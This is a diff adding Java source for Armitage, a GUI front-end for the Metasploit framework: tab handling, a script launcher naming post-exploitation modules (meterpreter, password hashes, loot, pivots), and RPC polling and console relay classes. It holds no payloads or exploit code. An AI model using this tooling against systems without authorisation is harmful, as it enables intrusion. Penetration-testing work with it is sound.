||||||
|
|
||||||
|
public JMenuBar getJMenuBar() {
|
||||||
|
return menus;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _removeTab(JComponent component) {
|
||||||
|
tabs.remove(component);
|
||||||
|
tabs.validate();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void removeTab(final JComponent tab) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
_removeTab(tab);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_removeTab(tab);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setTop(final JComponent top) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
_setTop(top);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_setTop(top);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _setTop(JComponent top) {
|
||||||
|
split.setTopComponent(top);
|
||||||
|
split.setDividerLocation(0.50);
|
||||||
|
split.setResizeWeight(0.50);
|
||||||
|
split.revalidate();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addTab(final String title, final JComponent tab, final ActionListener removeListener) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
_addTab(title, tab, removeListener, null);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_addTab(title, tab, removeListener, null);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addTab(final String title, final JComponent tab, final ActionListener removeListener, final String tooltip) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
_addTab(title, tab, removeListener, tooltip);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
_addTab(title, tab, removeListener, tooltip);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class ApplicationTab {
|
||||||
|
public String title;
|
||||||
|
public JComponent component;
|
||||||
|
public ActionListener removeListener;
|
||||||
|
|
||||||
|
public String toString() {
|
||||||
|
return title;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected LinkedList apptabs = new LinkedList();
|
||||||
|
|
||||||
|
public void closeActiveTab() {
|
||||||
|
JComponent tab = (JComponent)tabs.getSelectedComponent();
|
||||||
|
if (tab != null) {
|
||||||
|
removeAppTab(tab, null, new ActionEvent(tab, 0, "boo!"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addAppTab(String title, JComponent component, ActionListener removeListener) {
|
||||||
|
ApplicationTab t = new ApplicationTab();
|
||||||
|
t.title = title;
|
||||||
|
t.component = component;
|
||||||
|
t.removeListener = removeListener;
|
||||||
|
apptabs.add(t);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void popAppTab(Component tab) {
|
||||||
|
Iterator i = apptabs.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
final ApplicationTab t = (ApplicationTab)i.next();
|
||||||
|
if (t.component == tab) {
|
||||||
|
tabs.remove(t.component);
|
||||||
|
i.remove();
|
||||||
|
|
||||||
|
/* pop goes the tab! */
|
||||||
|
JFrame r = new JFrame(t.title);
|
||||||
|
r.setIconImages(getIconImages());
|
||||||
|
r.setLayout(new BorderLayout());
|
||||||
|
r.add(t.component, BorderLayout.CENTER);
|
||||||
|
r.pack();
|
||||||
|
r.setVisible(true);
|
||||||
|
|
||||||
|
r.addWindowListener(new WindowAdapter() {
|
||||||
|
public void windowClosing(WindowEvent ev) {
|
||||||
|
if (t.removeListener != null)
|
||||||
|
t.removeListener.actionPerformed(new ActionEvent(ev.getSource(), 0, "close"));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void removeAppTab(Component tab, String title, ActionEvent ev) {
|
||||||
|
Iterator i = apptabs.iterator();
|
||||||
|
String titleshort = title != null ? title.split(" ")[0] : "%b%";
|
||||||
|
while (i.hasNext()) {
|
||||||
|
ApplicationTab t = (ApplicationTab)i.next();
|
||||||
|
String tshort = t.title != null ? t.title.split(" ")[0] : "%a%";
|
||||||
|
if (t.component == tab || tshort.equals(titleshort)) {
|
||||||
|
tabs.remove(t.component);
|
||||||
|
|
||||||
|
if (t.removeListener != null)
|
||||||
|
t.removeListener.actionPerformed(ev);
|
||||||
|
|
||||||
|
i.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void _addTab(final String title, final JComponent tab, final ActionListener removeListener, final String tooltip) {
|
||||||
|
final Component component = tabs.add("", tab);
|
||||||
|
final JLabel label = new JLabel(title + " ");
|
||||||
|
|
||||||
|
JPanel control = new JPanel();
|
||||||
|
control.setOpaque(false);
|
||||||
|
control.setLayout(new BorderLayout());
|
||||||
|
control.add(label, BorderLayout.CENTER);
|
||||||
|
|
||||||
|
if (tab instanceof Activity) {
|
||||||
|
((Activity)tab).registerLabel(label);
|
||||||
|
}
|
||||||
|
|
||||||
|
JButton close = new JButton("X");
|
||||||
|
close.setOpaque(false);
|
||||||
|
close.setContentAreaFilled(false);
|
||||||
|
close.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
|
||||||
|
control.add(close, BorderLayout.EAST);
|
||||||
|
|
||||||
|
if (tooltip != null) {
|
||||||
|
close.setToolTipText(tooltip);
|
||||||
|
}
|
||||||
|
|
||||||
|
int index = tabs.indexOfComponent(component);
|
||||||
|
tabs.setTabComponentAt(index, control);
|
||||||
|
|
||||||
|
addAppTab(title, tab, removeListener);
|
||||||
|
|
||||||
|
close.addMouseListener(new MouseAdapter() {
|
||||||
|
public void check(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger()) {
|
||||||
|
JPopupMenu menu = new JPopupMenu();
|
||||||
|
|
||||||
|
JMenuItem a = new JMenuItem("Open in window", 'O');
|
||||||
|
a.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
popAppTab(component);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
JMenuItem b = new JMenuItem("Close like tabs", 'C');
|
||||||
|
b.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
removeAppTab(null, title, ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
JMenuItem c = new JMenuItem("Save screenshot", 'S');
|
||||||
|
c.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
/* capture the current tab in an image */
|
||||||
|
BufferedImage image = new BufferedImage(tab.getWidth(), tab.getHeight(), BufferedImage.TYPE_4BYTE_ABGR);
|
||||||
|
Graphics g = image.getGraphics();
|
||||||
|
tab.paint(g);
|
||||||
|
g.dispose();
|
||||||
|
|
||||||
|
if (screens != null) {
|
||||||
|
screens.saveScreenshot(image, title);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
JMenuItem d = new JMenuItem("Rename Tab", 'R');
|
||||||
|
d.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
String text = JOptionPane.showInputDialog("Rename tab to:", (label.getText() + "").trim());
|
||||||
|
if (text != null)
|
||||||
|
label.setText(text + " ");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
menu.add(a);
|
||||||
|
menu.add(c);
|
||||||
|
menu.add(d);
|
||||||
|
menu.addSeparator();
|
||||||
|
menu.add(b);
|
||||||
|
|
||||||
|
menu.show((Component)ev.getSource(), ev.getX(), ev.getY());
|
||||||
|
ev.consume();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent ev) {
|
||||||
|
check(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mousePressed(MouseEvent ev) {
|
||||||
|
check(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseReleased(MouseEvent ev) {
|
||||||
|
check(ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
close.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
if ((ev.getModifiers() & ActionEvent.CTRL_MASK) == ActionEvent.CTRL_MASK) {
|
||||||
|
popAppTab(component);
|
||||||
|
}
|
||||||
|
else if ((ev.getModifiers() & ActionEvent.SHIFT_MASK) == ActionEvent.SHIFT_MASK) {
|
||||||
|
removeAppTab(null, title, ev);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
removeAppTab(component, null, ev);
|
||||||
|
}
|
||||||
|
System.gc();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
component.addComponentListener(new ComponentAdapter() {
|
||||||
|
public void componentShown(ComponentEvent ev) {
|
||||||
|
if (component instanceof Activity) {
|
||||||
|
((Activity)component).resetNotification();
|
||||||
|
}
|
||||||
|
|
||||||
|
component.requestFocusInWindow();
|
||||||
|
System.gc();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
tabs.setSelectedIndex(index);
|
||||||
|
component.requestFocusInWindow();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ArmitageApplication() {
|
||||||
|
super();
|
||||||
|
tabs = new DraggableTabbedPane();
|
||||||
|
setLayout(new BorderLayout());
|
||||||
|
|
||||||
|
/* place holder */
|
||||||
|
JPanel panel = new JPanel();
|
||||||
|
|
||||||
|
/* add our menubar */
|
||||||
|
add(menus, BorderLayout.NORTH);
|
||||||
|
|
||||||
|
split = new JSplitPane(JSplitPane.VERTICAL_SPLIT, panel, tabs);
|
||||||
|
split.setOneTouchExpandable(true);
|
||||||
|
|
||||||
|
/* add our tabbed pane */
|
||||||
|
add(split, BorderLayout.CENTER);
|
||||||
|
|
||||||
|
/* setup our key bindings */
|
||||||
|
KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys);
|
||||||
|
|
||||||
|
/* ... */
|
||||||
|
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,123 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import sleep.runtime.*;
|
||||||
|
import sleep.interfaces.*;
|
||||||
|
import sleep.console.*;
|
||||||
|
import sleep.bridges.*;
|
||||||
|
import sleep.error.*;
|
||||||
|
import sleep.engine.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This class launches Armitage and loads the scripts that are part of it.
|
||||||
|
*/
|
||||||
|
public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
||||||
|
public void processScriptWarning(ScriptWarning warning) {
|
||||||
|
System.out.println(warning);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Scalar evaluate(String name, ScriptInstance script, Stack args) {
|
||||||
|
try {
|
||||||
|
InputStream i = this.getClass().getClassLoader().getResourceAsStream(BridgeUtilities.getString(args, ""));
|
||||||
|
return SleepUtils.getScalar(i);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
throw new RuntimeException(ex.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected ScriptVariables variables = new ScriptVariables();
|
||||||
|
|
||||||
|
public void scriptLoaded(ScriptInstance script) {
|
||||||
|
script.addWarningWatcher(this);
|
||||||
|
script.setScriptVariables(variables);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void scriptUnloaded(ScriptInstance script) {
|
||||||
|
}
|
||||||
|
|
||||||
|
protected String[] getGUIScripts() {
|
||||||
|
return new String[] {
|
||||||
|
"scripts/log.sl",
|
||||||
|
"scripts/reporting.sl",
|
||||||
|
"scripts/gui.sl",
|
||||||
|
"scripts/util.sl",
|
||||||
|
"scripts/targets.sl",
|
||||||
|
"scripts/attacks.sl",
|
||||||
|
"scripts/meterpreter.sl",
|
||||||
|
"scripts/process.sl",
|
||||||
|
"scripts/browser.sl",
|
||||||
|
"scripts/pivots.sl",
|
||||||
|
"scripts/services.sl",
|
||||||
|
"scripts/loot.sl",
|
||||||
|
"scripts/tokens.sl",
|
||||||
|
"scripts/downloads.sl",
|
||||||
|
"scripts/shell.sl",
|
||||||
|
"scripts/screenshot.sl",
|
||||||
|
"scripts/hosts.sl",
|
||||||
|
"scripts/passhash.sl",
|
||||||
|
"scripts/jobs.sl",
|
||||||
|
"scripts/preferences.sl",
|
||||||
|
"scripts/modules.sl",
|
||||||
|
"scripts/workspaces.sl",
|
||||||
|
"scripts/menus.sl",
|
||||||
|
"scripts/collaborate.sl",
|
||||||
|
"scripts/armitage.sl"
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
protected String[] getServerScripts() {
|
||||||
|
return new String[] {
|
||||||
|
"scripts/util.sl",
|
||||||
|
"scripts/preferences.sl",
|
||||||
|
"scripts/reporting.sl",
|
||||||
|
"scripts/server.sl"
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public ArmitageMain(String[] args) {
|
||||||
|
Hashtable environment = new Hashtable();
|
||||||
|
environment.put("&resource", this);
|
||||||
|
|
||||||
|
/* set our command line arguments into a var */
|
||||||
|
variables.putScalar("@ARGV", ObjectUtilities.BuildScalar(false, args));
|
||||||
|
|
||||||
|
ScriptLoader loader = new ScriptLoader();
|
||||||
|
loader.addSpecificBridge(this);
|
||||||
|
|
||||||
|
/* check for server mode option */
|
||||||
|
boolean serverMode = false;
|
||||||
|
|
||||||
|
int x = 0;
|
||||||
|
for (x = 0; x < args.length; x++) {
|
||||||
|
if (args[x].equals("--server"))
|
||||||
|
serverMode = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* load the appropriate scripts */
|
||||||
|
String[] scripts = serverMode ? getServerScripts() : getGUIScripts();
|
||||||
|
|
||||||
|
try {
|
||||||
|
for (x = 0; x < scripts.length; x++) {
|
||||||
|
InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]);
|
||||||
|
ScriptInstance si = loader.loadScript(scripts[x], i, environment);
|
||||||
|
si.runScript();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (YourCodeSucksException yex) {
|
||||||
|
System.out.println("*** File: " + scripts[x]);
|
||||||
|
yex.printErrors(System.out);
|
||||||
|
}
|
||||||
|
catch (IOException ex) {
|
||||||
|
System.err.println(ex);
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String args[]) {
|
||||||
|
new ArmitageMain(args);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,36 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** A generic class to execute several queries and return their results */
|
||||||
|
public class ArmitageThread implements Runnable {
|
||||||
|
protected ArmitageThreadClient client;
|
||||||
|
|
||||||
|
public ArmitageThread(ArmitageThreadClient c) {
|
||||||
|
this.client = c;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
while (true) {
|
||||||
|
long sleepFor = client.execute();
|
||||||
|
|
||||||
|
if (sleepFor <= 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
try {
|
||||||
|
Thread.sleep(sleepFor);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
public interface ArmitageThreadClient {
|
||||||
|
/** return -1 to stop the thread, return >=0 value to have the thread call this client again */
|
||||||
|
public long execute();
|
||||||
|
}
|
|
@ -0,0 +1,111 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** A generic class to execute several queries and return their results */
|
||||||
|
public class ArmitageTimer implements Runnable {
|
||||||
|
protected RpcConnection connection;
|
||||||
|
protected String command;
|
||||||
|
protected long sleepPeriod;
|
||||||
|
protected ArmitageTimerClient client;
|
||||||
|
protected boolean cacheProtocol;
|
||||||
|
|
||||||
|
/* keep track of the last response we got *and* its hashcode... */
|
||||||
|
protected Map lastRead = new HashMap();
|
||||||
|
protected long lastCode = -1L; /* can't be 0 or we'll never fire an initial event */
|
||||||
|
|
||||||
|
public ArmitageTimer(RpcConnection connection, String command, long sleepPeriod, ArmitageTimerClient client, boolean doCache) {
|
||||||
|
this.connection = connection;
|
||||||
|
this.command = command;
|
||||||
|
this.sleepPeriod = sleepPeriod;
|
||||||
|
this.client = client;
|
||||||
|
cacheProtocol = doCache;
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static long dataIdentity(Object v) {
|
||||||
|
long r = 0L;
|
||||||
|
|
||||||
|
if (v == null) {
|
||||||
|
return 1L;
|
||||||
|
}
|
||||||
|
else if (v instanceof Collection) {
|
||||||
|
Iterator j = ((Collection)v).iterator();
|
||||||
|
while (j.hasNext()) {
|
||||||
|
r += 11 * dataIdentity(j.next());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (v instanceof Map) {
|
||||||
|
Iterator i = ((Map)v).values().iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
r += 13 * dataIdentity(i.next());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (v instanceof Number) {
|
||||||
|
return v.hashCode();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return v.toString().hashCode();
|
||||||
|
}
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected boolean changed = false;
|
||||||
|
|
||||||
|
/* we will override this in a subclass if we need to change it */
|
||||||
|
protected boolean alwaysFire() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Map readFromClient() throws java.io.IOException {
|
||||||
|
Object arguments[];
|
||||||
|
if (cacheProtocol) {
|
||||||
|
arguments = new Object[1];
|
||||||
|
arguments[0] = new Long(lastCode);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
arguments = new Object[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
Map result = (Map)connection.execute(command, arguments);
|
||||||
|
|
||||||
|
if (!result.containsKey("nochange")) {
|
||||||
|
lastRead = result;
|
||||||
|
lastCode = dataIdentity(result);
|
||||||
|
changed = true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
//System.err.println("No change: " + command + ", " + lastCode);
|
||||||
|
changed = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return lastRead;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
Map read = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
while ((read = readFromClient()) != null) {
|
||||||
|
if (changed || command.equals("session.list") || alwaysFire()) {
|
||||||
|
if (client.result(command, null, read) == false) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sleepPeriod <= 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Thread.sleep(sleepPeriod);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception javaSucksBecauseItMakesMeCatchEverythingFuckingThing) {
|
||||||
|
System.err.println("Thread id: " + command + " -> " + read);
|
||||||
|
javaSucksBecauseItMakesMeCatchEverythingFuckingThing.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,10 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** A client for the ArmitageTimer class. It's easier to have a Java class handle all this vs. using Sleep's fork mechanism. This way we get thread safety
|
||||||
|
for any Sleep data structures by default. */
|
||||||
|
public interface ArmitageTimerClient {
|
||||||
|
/** return true if you want the timer to continue running. The arguments are the command, arguments, and the result of them. */
|
||||||
|
public boolean result(String command, Object[] arguments, Map result);
|
||||||
|
}
|
|
@ -0,0 +1,6 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
public interface ConsoleCallback {
|
||||||
|
public void sessionRead(String sessionid, String text);
|
||||||
|
public void sessionWrote(String sessionid, String text);
|
||||||
|
}
|
|
@ -0,0 +1,258 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.regex.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
|
||||||
|
simpler than this Java code. *sigh* */
|
||||||
|
public class ConsoleClient implements Runnable, ActionListener {
|
||||||
|
protected RpcConnection connection;
|
||||||
|
protected Console window;
|
||||||
|
protected String readCommand;
|
||||||
|
protected String writeCommand;
|
||||||
|
protected String destroyCommand;
|
||||||
|
protected String session;
|
||||||
|
protected LinkedList listeners = new LinkedList();
|
||||||
|
protected boolean echo = true;
|
||||||
|
protected boolean go_read = true;
|
||||||
|
protected ActionListener sessionListener = null; /* one off listener to catch "sessions -i ##" */
|
||||||
|
|
||||||
|
public void setSessionListener(ActionListener l) {
|
||||||
|
sessionListener = l;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void kill() {
|
||||||
|
synchronized (listeners) {
|
||||||
|
go_read = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Console getWindow() {
|
||||||
|
return window;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setEcho(boolean b) {
|
||||||
|
echo = b;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setWindow(Console console) {
|
||||||
|
synchronized (this) {
|
||||||
|
window = console;
|
||||||
|
setupListener();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addSessionListener(ConsoleCallback l) {
|
||||||
|
listeners.add(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fireSessionReadEvent(String text) {
|
||||||
|
Iterator i = listeners.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
((ConsoleCallback)i.next()).sessionRead(session, text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fireSessionWroteEvent(String text) {
|
||||||
|
Iterator i = listeners.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
((ConsoleCallback)i.next()).sessionWrote(session, text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public ConsoleClient(Console window, RpcConnection connection, String readCommand, String writeCommand, String destroyCommand, String session, boolean swallow) {
|
||||||
|
this.window = window;
|
||||||
|
this.connection = connection;
|
||||||
|
this.readCommand = readCommand;
|
||||||
|
this.writeCommand = writeCommand;
|
||||||
|
this.destroyCommand = destroyCommand;
|
||||||
|
this.session = session;
|
||||||
|
|
||||||
|
setupListener();
|
||||||
|
|
||||||
|
if (swallow) {
|
||||||
|
try {
|
||||||
|
readResponse();
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* call this if the console client is referencing a metasploit console with tab completion */
|
||||||
|
public void setMetasploitConsole() {
|
||||||
|
window.addActionForKey("ctrl pressed Z", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
sendString("background\n");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
new TabCompletion(window, connection, session, "console.tabs");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* called when the associated tab is closed */
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
if (destroyCommand != null) {
|
||||||
|
new Thread(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
connection.execute(destroyCommand, new Object[] { session });
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}).start();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void finalize() {
|
||||||
|
actionPerformed(null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static final Pattern interact = Pattern.compile("sessions -i (\\d+)\n");
|
||||||
|
|
||||||
|
public void _sendString(String text) {
|
||||||
|
if (writeCommand == null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* intercept sessions -i and deliver it to a listener within armitage */
|
||||||
|
if (sessionListener != null) {
|
||||||
|
Matcher m = interact.matcher(text);
|
||||||
|
if (m.matches()) {
|
||||||
|
sessionListener.actionPerformed(new ActionEvent(this, 0, m.group(1)));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Map read = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
synchronized (this) {
|
||||||
|
if (window != null && echo) {
|
||||||
|
window.append(window.getPromptText() + text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
connection.execute(writeCommand, new Object[] { session, text });
|
||||||
|
read = readResponse();
|
||||||
|
processRead(read);
|
||||||
|
|
||||||
|
fireSessionWroteEvent(text);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void setupListener() {
|
||||||
|
synchronized (this) {
|
||||||
|
if (window != null) {
|
||||||
|
window.getInput().addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
final String text = window.getInput().getText() + "\n";
|
||||||
|
window.getInput().setText("");
|
||||||
|
sendString(text);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String cleanText(String text) {
|
||||||
|
StringBuffer string = new StringBuffer(text.length());
|
||||||
|
char chars[] = text.toCharArray();
|
||||||
|
for (int x = 0; x < chars.length; x++) {
|
||||||
|
if (chars[x] != 1 && chars[x] != 2)
|
||||||
|
string.append(chars[x]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return string.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Map readResponse() throws Exception {
|
||||||
|
return (Map)(connection.execute(readCommand, new Object[] { session }));
|
||||||
|
}
|
||||||
|
|
||||||
|
private long lastRead = 0L;
|
||||||
|
|
||||||
|
private void processRead(Map read) throws Exception {
|
||||||
|
if (! "".equals( read.get("data") )) {
|
||||||
|
String text = read.get("data") + "";
|
||||||
|
|
||||||
|
synchronized (this) {
|
||||||
|
if (window != null)
|
||||||
|
window.append(text);
|
||||||
|
}
|
||||||
|
fireSessionReadEvent(text);
|
||||||
|
lastRead = System.currentTimeMillis();
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized (this) {
|
||||||
|
if (! "".equals( read.get("prompt") ) && window != null) {
|
||||||
|
window.updatePrompt(cleanText(read.get("prompt") + ""));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected LinkedList commands = new LinkedList();
|
||||||
|
|
||||||
|
public void sendString(String text) {
|
||||||
|
synchronized (listeners) {
|
||||||
|
commands.add(text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
Map read;
|
||||||
|
boolean shouldRead = go_read;
|
||||||
|
String command = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
while (shouldRead) {
|
||||||
|
synchronized (listeners) {
|
||||||
|
if (commands.size() > 0) {
|
||||||
|
command = (String)commands.removeFirst();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (command != null) {
|
||||||
|
_sendString(command);
|
||||||
|
command = null;
|
||||||
|
lastRead = System.currentTimeMillis();
|
||||||
|
}
|
||||||
|
|
||||||
|
read = readResponse();
|
||||||
|
|
||||||
|
if (read == null || "failure".equals( read.get("result") + "" )) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
processRead(read);
|
||||||
|
|
||||||
|
if ((System.currentTimeMillis() - lastRead) <= 500) {
|
||||||
|
Thread.sleep(10);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Thread.sleep(500);
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized (listeners) {
|
||||||
|
shouldRead = go_read;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception javaSucksBecauseItMakesMeCatchEverythingFuckingThing) {
|
||||||
|
javaSucksBecauseItMakesMeCatchEverythingFuckingThing.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,252 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import java.math.*;
